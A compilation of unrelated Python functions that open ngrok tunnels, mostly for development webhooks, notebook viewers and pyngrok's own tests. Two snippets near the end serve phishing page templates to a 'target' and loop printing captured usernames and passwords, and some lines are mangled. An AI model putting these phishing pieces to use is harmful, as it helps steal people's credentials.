def setup_webhook(): if PRODUCT_ID == "" or PHONE_ID == "" or API_TOKEN == "": print( "You need to change PRODUCT_ID, PHONE_ID and API_TOKEN values in app.py file.", file=sys.stdout, flush=True) return public_url = ngrok.connect(9000) url = INSTANCE_URL + "/" + PRODUCT_ID + "/setWebhook" print("url", url, file=sys.stdout, flush=True) headers = { "Content-Type": "application/json", "x-maytapi-key": API_TOKEN, } body = {"webhook": public_url.public_url + "/webhook"} response = requests.post(url, json=body, headers=headers) print("webhook ", response.json())
def StartMeshcat(): """ Constructs a Meshcat instance, with support for Deepnote and Google Colab. On most platforms, this method is equivalent to calling `meshcat = Meshcat()`. On Deepnote or Google Colab, this provides extra functionality, setting Meshcat to use the appropriate ports and to use ngrok if necessary. Note that the free/unregistered version of ngrok only allows two connections. On Google Colab, this means one can only have two viable Meshcat instances running per provisioned machine. On Deepnote, we have one additional port available (port 8080) which does not require ngrok; you must "Allow incoming connections" in the environment settings to use it. If you run out of available ports, you can reset the notebook to free any ports that are currently used by the notebook. """ prev_log_level = set_log_level("warn") use_ngrok = False if ("DEEPNOTE_PROJECT_ID" in os.environ): # Deepnote exposes port 8080 (only). If we need multiple meshcats, # then we fall back to ngrok. try: meshcat = Meshcat(8080) except RuntimeError: use_ngrok = True else: set_log_level(prev_log_level) web_url = f"https://{os.environ['DEEPNOTE_PROJECT_ID']}.deepnoteproject.com" # noqa print(f'Meshcat is now available at {web_url}') return meshcat if 'google.colab' in sys.modules: use_ngrok = True meshcat = Meshcat() web_url = meshcat.web_url() if use_ngrok: from pyngrok import ngrok http_tunnel = ngrok.connect(meshcat.port(), bind_tls=False) web_url = http_tunnel.public_url set_log_level(prev_log_level) print(f'Meshcat is now available at {web_url}') return meshcat
def test_get_tunnel_fileserver(self): if "NGROK_AUTHTOKEN" not in os.environ: self.skipTest("NGROK_AUTHTOKEN environment variable not set") # GIVEN self.assertEqual(len(process._current_processes.keys()), 0) pyngrok_config = self.copy_with_updates(self.pyngrok_config, auth_token=os.environ["NGROK_AUTHTOKEN"]) ngrok_tunnel = ngrok.connect("file:///", pyngrok_config=pyngrok_config) time.sleep(1) api_url = ngrok.get_ngrok_process(pyngrok_config).api_url # WHEN response = ngrok.api_request("{}{}".format(api_url, ngrok_tunnel.uri), "GET") # THEN self.assertEqual(ngrok_tunnel.name, response["name"]) self.assertTrue(ngrok_tunnel.name.startswith("http-file-"))
def StartMeshcat(open_window=False): """ A wrapper around the Meshcat constructor that supports Deepnote and Google Colab via ngrok when necessary. """ prev_log_level = set_log_level("warn") use_ngrok = False if ("DEEPNOTE_PROJECT_ID" in os.environ): # Deepnote exposes port 8080 (only). If we need multiple meshcats, # then we fall back to ngrok. try: meshcat = Meshcat(8080) except RuntimeError: use_ngrok = True else: set_log_level(prev_log_level) web_url = f"https://{os.environ['DEEPNOTE_PROJECT_ID']}.deepnoteproject.com" # noqa print(f"Meshcat is now available at {web_url}") if open_window: display(Javascript(f'window.open("{web_url}");')) return meshcat if 'google.colab' in sys.modules: use_ngrok = True meshcat = Meshcat() web_url = meshcat.web_url() if use_ngrok: from pyngrok import ngrok http_tunnel = ngrok.connect(meshcat.port(), bind_tls=False) web_url = http_tunnel.public_url set_log_level(prev_log_level) display( HTML('Meshcat is now available at ' f'<a href="{web_url}">{web_url}</a>')) if open_window: if 'google.colab' in sys.modules: from google.colab import output output.eval_js(f'window.open("{web_url}");', ignore_result=True) else: display(Javascript(f'window.open("{web_url}");')) return meshcat
def test_disconnect_fileserver(self): if "NGROK_AUTHTOKEN" not in os.environ: self.skipTest("NGROK_AUTHTOKEN environment variable not set") # GIVEN self.assertEqual(len(process._current_processes.keys()), 0) pyngrok_config = self.copy_with_updates(self.pyngrok_config, auth_token=os.environ["NGROK_AUTHTOKEN"]) url = ngrok.connect("file:///", pyngrok_config=pyngrok_config).public_url time.sleep(1) # WHEN ngrok.disconnect(url) time.sleep(1) tunnels = ngrok.get_tunnels() # THEN # There is still one tunnel left, as we only disconnected the http tunnel self.assertEqual(len(tunnels), 1)
def start(config, model_name, force_cpu): if force_cpu: os.environ['CUDA_VISIBLE_DEVICES'] = '-1' model = config.model_manager.models.get(model_name) if not model: click.echo(f"Model `{model_name}` is not installed.") return app.generator = GPT2Generator(model) # Open a tunnel on the default port 80 public_url = ngrok.connect(port=5000) print(public_url) app.run()
def connect_to_ngrok(port, authtoken=None): time.sleep(1) try: active_tunnels = ngrok.get_tunnels() time.sleep(1) for tunnel in active_tunnels: public_url = tunnel.public_url print(f"Disconnecting {public_url}") ngrok.disconnect(public_url) time.sleep(1) except: print("Some error in ngrok.get_tunnels()") # url = ngrok.connect(addr=port, options={"bind_tls":True}) if authtoken: ngrok.set_auth_token(authtoken) url = ngrok.connect(addr=port, bind_tls=True) time.sleep(1) print(f"Remote server can be assesed on : {url}") return url
def main(): try: public_url = ngrok.connect(8080, "http") logging.info("ngrok has been started") except Exception as e: logging.error(f"ngrok start error \n{e}") url = "https://api.telegram.org/bot" + config.tg_token + \ "/setWebhook?url=https://" + public_url[7:] + "/postjson" try: requests.get(url) logging.info("Bot has been connected to ngrok") except Exception as e: logging.error(f"Bot connecting error \n{e}") logging.info("ngrok service running") input("ngrok service running \npress any key to exit") logging.info("ngrok service stop") ngrok.kill() return()
def start_local_server(self): """Start a local Ngrok webhook for the bot This will check for a preexisting Ngrook server and raise an exeption if it finds one as only one instance can be running on the free version of Ngrok Raises:\n SystemExit: When it finds a previous Ngrook service running. """ try: self.bot_url = ngrok.connect(port=8080, proto="http") print(self.bot_url) except Exception: self.clear_screen() print( "You need to close the current terminal, otherwise the HTTP tunnel wont connect" ) input("Press enter to exit.\n") raise SystemExit
def _start_server(self): if self.authtoken: ngrok.set_auth_token(self.authtoken) active_tunnels = ngrok.get_tunnels() for tunnel in active_tunnels: used_port = int(tunnel.data['config']['addr'].rsplit(":")[-1]) public_url = tunnel.public_url if used_port == self.port: self.log("port already used {} -> localhost:{}".format( public_url, used_port), level="warn") self.log("disonnecting {}".format(public_url)) ngrok.disconnect(public_url) url = ngrok.connect(addr=self.port, options={"bind_tls": True}) url = str(url.public_url).replace("http", "https") self.log("code-server url {}".format(url))
def start_a_tunnel(port=8080): """ This function will start a tunnel in port given port, default is 8080 By default ngrok opens two tunnels 1. http 2. https I don't need http bind_tls=True tells ngrok to open only https tunnel """ # first I will check if there is any tunnel active # if there is any active tunnel we will disconnect it for each_tunnel in ngrok.get_tunnels(): print('Shutting down: ' + each_tunnel.public_url) ngrok.disconnect(each_tunnel.public_url) # now that it is made sure that there is no tunnels # we can open a new_tunnel tunnel = ngrok.connect(addr=port, proto='http', bind_tls=True) return tunnel.public_url
def __new__(cls): if cls.__working: return cls.__init_settings() cls.__active_tunnel = ngrok.connect(settings.PORT, "tcp") ngrok_process = ngrok.get_ngrok_process() if not ngrok_process.healthy(): print("\n\033[31m[ERROR]: Ngrok server has some error\033[0m") print(settings.NGROK_DOWN_STR) ngrok.kill() else: cls.__working = True return super(NgrokServer, cls).__new__(cls)
def test_get_tunnels(self): # GIVEN url = ngrok.connect(pyngrok_config=self.pyngrok_config) time.sleep(1) # WHEN tunnels = ngrok.get_tunnels() # THEN self.assertEqual(len(tunnels), 2) for tunnel in tunnels: if tunnel.proto == "http": self.assertEqual(tunnel.public_url, url) self.assertEqual(tunnel.config["addr"], "http://localhost:80") else: self.assertEqual(tunnel.proto, "https") self.assertEqual(tunnel.public_url, url.replace("http", "https")) self.assertEqual(tunnel.config["addr"], "http://localhost:80")
def test_disconnect(self): # GIVEN url = ngrok.connect(pyngrok_config=self.pyngrok_config).public_url time.sleep(1) tunnels = ngrok.get_tunnels() # Two tunnels, as one each was created for "http" and "https" self.assertEqual(len(ngrok._current_tunnels.keys()), 2) self.assertEqual(len(tunnels), 2) # WHEN ngrok.disconnect(url) self.assertEqual(len(ngrok._current_tunnels.keys()), 1) time.sleep(1) tunnels = ngrok.get_tunnels() # THEN # There is still one tunnel left, as we only disconnected the http tunnel self.assertEqual(len(ngrok._current_tunnels.keys()), 1) self.assertEqual(len(tunnels), 1)
def start_ngrok(context): from pyngrok import ngrok site = get_site(context) frappe.init(site=site) port = frappe.conf.http_port or frappe.conf.webserver_port tunnel = ngrok.connect(addr=str(port), host_header=site) print(f"Public URL: {tunnel.public_url}") print("Inspect logs at http://localhost:4040") ngrok_process = ngrok.get_ngrok_process() try: # Block until CTRL-C or some other terminating event ngrok_process.proc.wait() except KeyboardInterrupt: print("Shutting down server...") frappe.destroy() ngrok.kill()
def server(): global port with open("logs/server.log", "w") as phplog: subprocess.Popen(("php", "-S", "localhost:" + port, "-t", temp), stderr=phplog, stdout=phplog) conf.get_default().region = region tunnel = ngrok.connect(port, "http", auth_token=token) tunnel = str(tunnel).replace("NgrokTunnel:", "").replace( "http://", "https://").replace('"', '').replace("->", "").replace( "https://localhost:" + port, "").replace(" ", "") print(Fore.RED + " [!] " + Fore.WHITE + "Your Ngrok Tunnel : " + tunnel) print(Fore.YELLOW + "\n [+] " + Fore.WHITE + "Please Send Link To Target" + "\n")
def ready(self): if settings.DEV_SERVER and settings.USE_NGROK: # pyngrok will only be installed, and should only ever be initialized, in a dev environment from pyngrok import ngrok # Get the dev server port (defaults to 8000 for Django, can be overridden with the # last arg when calling `runserver`) addrport = urlparse(f"http://{sys.argv[-1]}") port = addrport.port if addrport.netloc and addrport.port else 8000 # Open a ngrok tunnel to the dev server public_url = ngrok.connect(port).public_url print( f"ngrok tunnel \"{public_url}\" -> \"http://127.0.0.1:{port}\"" ) # Update any base URLs or webhooks to use the public ngrok URL settings.PROJECT_HOST = public_url CommonConfig.init_webhooks(public_url)
def start_ngrok(context): from pyngrok import ngrok site = get_site(context) frappe.init(site=site) port = frappe.conf.http_port or frappe.conf.webserver_port public_url = ngrok.connect(port=port, options={'host_header': site}) print(f'Public URL: {public_url}') print('Inspect logs at http://localhost:4040') ngrok_process = ngrok.get_ngrok_process() try: # Block until CTRL-C or some other terminating event ngrok_process.proc.wait() except KeyboardInterrupt: print("Shutting down server...") frappe.destroy() ngrok.kill()
def ready(self): if os.environ.get('RUN_MAIN', None) and settings.DEV_SERVER and settings.USE_NGROK: # pyngrok will only be installed, and should only ever be initialized, in a dev environment from pyngrok import ngrok # Get the dev server port (defaults to 8000 for Django, can be overridden with the # last arg when calling `runserver`) addrport = urlparse('http://{}'.format(sys.argv[-1])) port = addrport.port if addrport.netloc and addrport.port else 8000 # Open a ngrok tunnel to the dev server public_url = ngrok.connect(port).rstrip("/") print('ngrok tunnel "{}" -> "http://127.0.0.1:{}/"'.format( public_url, port)) # Update any base URLs or webhooks to use the public ngrok URL settings.PROJECT_HOST = public_url CommonConfig.init_webhooks(public_url)
def test_ngrok_tunnel_refresh_metrics(self): # GIVEN current_process = ngrok.get_ngrok_process( pyngrok_config=self.pyngrok_config) public_url = ngrok.connect(urlparse(current_process.api_url).port) time.sleep(1) ngrok_tunnel = list( filter(lambda t: t.public_url == public_url, ngrok.get_tunnels()))[0] self.assertEqual(0, ngrok_tunnel.metrics.get("http").get("count")) urlopen("{}/status".format(public_url)).read() time.sleep(3) # WHEN ngrok_tunnel.refresh_metrics() # THEN self.assertGreater(ngrok_tunnel.metrics.get("http").get("count"), 0)
def init_app(self, app): if app is not None: self.app = app if self.app.config.get('ENVIRONMENT') == 'DEVELOPMENT': self.app.logger.debug(f'connecting to ngrok') # ngrok.kill() http_tunnel = ngrok.connect(bind_tls=True, addr=self.app.config.get('HOST') + ':' + self.app.config.get('PORT')) self.app.config.update({'HOST_URL': http_tunnel.public_url}) self.app.logger.debug(http_tunnel) elif self.app.config.get('ENVIRONMENT') == 'PRODUCTION': self.app.logger.debug(f'setting up HOST_URL to heroku') heroku_app_name = self.app.config.get('HEROKU_APP_NAME') app.config.update( {'HOST_URL': f'https://{heroku_app_name}.herokuapp.com'}) atexit.register(self.teardown)
def setup(): parser = ConfigParser() parser.read("bots/bot.ini") client_id = parser.get("OAuth", "client_id") client_secret = parser.get("OAuth", "client_secret") port = parser.getint("OAuth", "port", fallback=4001) browser_path = parser.get("OAuth", "browser_path") print(f'id: {client_id} browser: {browser_path}') redirect_url = ngrok.connect(port, "http") print("Redirect URL is", redirect_url) client = OAuthZoomClient(client_id, client_secret, port, redirect_url, browser_path) user_response = client.user.get(id='me') user = json.loads(user_response.content) print(user) print('---') return client
def start_from_cloud(filename: Union[str, None] = None, dm=',', port=8000, lowmem=True): from pyngrok import ngrok try: ngrok_tunnel = ngrok.connect(port) if filename is None: print(f'\n\033[93mVisit: {ngrok_tunnel.public_url}/index\033[0m\n') else: print(f'\n\033[93mVisit: {ngrok_tunnel.public_url}\033[0m\n') set_global_filedetail(filename=filename, dm=dm, lowmem=lowmem) uvicorn.run(app, port=port) except Exception as e: print(e)
def run(directory, port, remote): click.echo(f'Sharing {directory}') # ----- Change directory chdir(directory) click.echo('Running the server') # ----- Define server solan_server = HTTPServer solan_handler = SimpleHTTPRequestHandler solan_server_address = ('', port) httpd = solan_server(solan_server_address, solan_handler) # ----- Get local IP hostname = gethostname() ip = gethostbyname(hostname) click.echo(f'Local service active on {ip}:{port}') # ----- Enable remote access if remote: public_url = ngrok.connect(port) click.echo(f'Remote service active on {public_url}') # ----- Run server httpd.serve_forever()
def test_stop_monitor_thread(self): # GIVEN self.given_ngrok_installed(self.pyngrok_config) current_process = ngrok.get_ngrok_process(pyngrok_config=self.pyngrok_config) public_url = ngrok.connect(urlparse(current_process.api_url).port, bind_tls=True, pyngrok_config=self.pyngrok_config).public_url ngrok_process = ngrok.get_ngrok_process() monitor_thread = ngrok_process._monitor_thread # WHEN time.sleep(1) self.assertTrue(monitor_thread.is_alive()) ngrok_process.stop_monitor_thread() # Make a request to the tunnel to force a log through, which will allow the thread to trigger its own teardown urlopen("{}/status".format(public_url)).read() time.sleep(1) # THEN self.assertFalse(monitor_thread.is_alive()) self.assertIsNone(ngrok_process._monitor_thread) self.assertTrue(ngrok_process.pyngrok_config.monitor_thread)
def test_ngrok_tunnel_refresh_metrics(self): # GIVEN current_process = ngrok.get_ngrok_process( pyngrok_config=self.pyngrok_config) ngrok_tunnel = ngrok.connect(urlparse(current_process.api_url).port, bind_tls=True) time.sleep(1) self.assertEqual(0, ngrok_tunnel.metrics.get("http").get("count")) self.assertEqual(ngrok_tunnel.data["metrics"].get("http").get("count"), 0) urlopen("{}/status".format(ngrok_tunnel.public_url)).read() time.sleep(3) # WHEN ngrok_tunnel.refresh_metrics() # THEN self.assertGreater(ngrok_tunnel.metrics.get("http").get("count"), 0) self.assertGreater( ngrok_tunnel.data["metrics"].get("http").get("count"), 0)
def test_connect(self): # GIVEN self.assertEqual(len(process._current_processes.keys()), 0) self.assertEqual(len(ngrok._current_tunnels.keys()), 0) # WHEN ngrok_tunnel = ngrok.connect(5000, pyngrok_config=self.pyngrok_config) current_process = ngrok.get_ngrok_process() # THEN self.assertEqual(len(ngrok._current_tunnels.keys()), 1) self.assertIsNotNone(current_process) self.assertIsNone(current_process.proc.poll()) self.assertTrue(current_process._monitor_thread.is_alive()) self.assertTrue(ngrok_tunnel.name.startswith("http-5000-")) self.assertEqual("http", ngrok_tunnel.proto) self.assertEqual("http://localhost:5000", ngrok_tunnel.config["addr"]) self.assertIsNotNone(ngrok_tunnel.public_url) self.assertIsNotNone(process.get_process(self.pyngrok_config)) self.assertIn('http://', ngrok_tunnel.public_url) self.assertEqual(len(process._current_processes.keys()), 1)
def runNgrok(): # p = subprocess.Popen('ngrok http 5000', shell=True, stderr=subprocess.PIPE) # print ('hi') # ## But do not wait till netstat finish, start displaying output immediately ## # while True: # out = p.stderr.read(1) # if out == '' and p.poll() != None: # break # if out != '': # #sys.stdout.write(out) # print('!'+out) # #sys.stdout.flush() # if 'Forwarding' in out: # url = re.search('Forwarding\s*(http.*)\s->') # print (url) # break public_url = ngrok.connect(5000, 'http') return (public_url)
def runServer(): print(bc.BC + " Starting Ngrok HTTP Tunnel...") try: http_tunnel = ngrok.connect() time.sleep(1) if http_tunnel: serverStatus = sBan + ' Ngrok Tunnel: ' + bc.GC + 'Connected' else: serverStatus = eBan + ' Ngrok Tunnel: ' + bc.RC + 'Disconnected' os.system('clear') print(banner) print(serverStatus) brutoNovaURL = str(http_tunnel).replace('"', '').replace( 'NgrokTunnel: ', '').replace(' -> http://localhost:80', '').replace( 'http', 'https') + "/BrutoNova-UI/" time.sleep(0.5) print(bc.BC + ' Interface URL: ' + bc.GC + brutoNovaURL) ngrok_process = ngrok.get_ngrok_process() print(bc.BC + "\n" + iBan + bc.GC + " CTRL + C" + bc.BC + " to stop the server\n") os.chdir('/var/www/html/') subprocess.call(['php', '-S', 'localhost:80']) ngrok_process.proc.wait() except KeyboardInterrupt: os.system('clear') print(banner) print(bc.BC + " Closing PHP Web Server...") time.sleep(0.5) print(bc.BC + " Closing Ngrok HTTP Tunnel...") ngrok.disconnect(http_tunnel.public_url) time.sleep(0.5) print(bc.BC + " Killing Ngrok process...") time.sleep(0.5) ngrok.kill() time.sleep(0.5) os.system('clear') print(banner) quit()
def social(): banner.banner() menu = input(">>>") deb.menu(menu) print(" ") def phpserver(): with open("Server", "w") as phplog: Popen(("php", "-S", "localhost:4040", "-t", "./template"), stderr=phplog, stdout=phplog) phpserver() url = ngrok.connect(4040, "http").replace("http", "https") print(Style.BRIGHT + Fore.CYAN + "[-] Link " + Fore.BLUE + url + Style.RESET_ALL) def user(): global stat_file if not str(os.stat("./template/username.json").st_size) == stat_file: stat_file = str(os.stat("./template/username.json").st_size) fileip = open("./template/username.json", "r") b = fileip.read() try: info = json.loads(b) for value in info['dev']: print(Style.BRIGHT + Fore.GREEN + " [+] " + Fore.WHITE + "Username : "******"username"]) print(Style.BRIGHT + Fore.GREEN + " [+] " + Fore.WHITE + "Password : "******"password"]) jsonFile = open("./template/username.json", "w") jsonWrite = jsonFile.write("") jsonFile.close() except: print("\nCtrl + C To stop\n") #os.system("killall -9 php") while True: user()